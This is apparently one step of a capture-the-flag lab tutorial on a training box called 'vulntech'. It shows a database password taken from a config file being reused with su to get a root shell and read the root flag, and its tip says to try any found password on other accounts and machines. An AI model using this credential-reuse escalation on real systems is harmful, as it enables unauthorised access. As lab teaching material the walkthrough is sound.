Trying the password where it counts

People reuse passwords

The password you found is labelled as the database password. But administrators reuse passwords constantly — the same secret guards the database, the server's root account and more. So try it as root's password with su:

su root
whoami
cat /root/root.txt
exit

In the terminal (enter the password you found in the config file)

student@vulntech:~$ su root
Password:
root@vulntech:/home/student# whoami
root
root@vulntech:/home/student# cat /root/root.txt
vulntech{r00t_on_the_box_privesc}
root@vulntech:/home/student# exit
exit

It worked: the database password was also root's password, and su root gave you a root shell straight away — no exotic trick, just a reused secret. This is one of the most common ways real intrusions escalate.

Tip: The same move works on other accounts and other machines. Once you have any password, try it everywhere before reaching for a harder technique.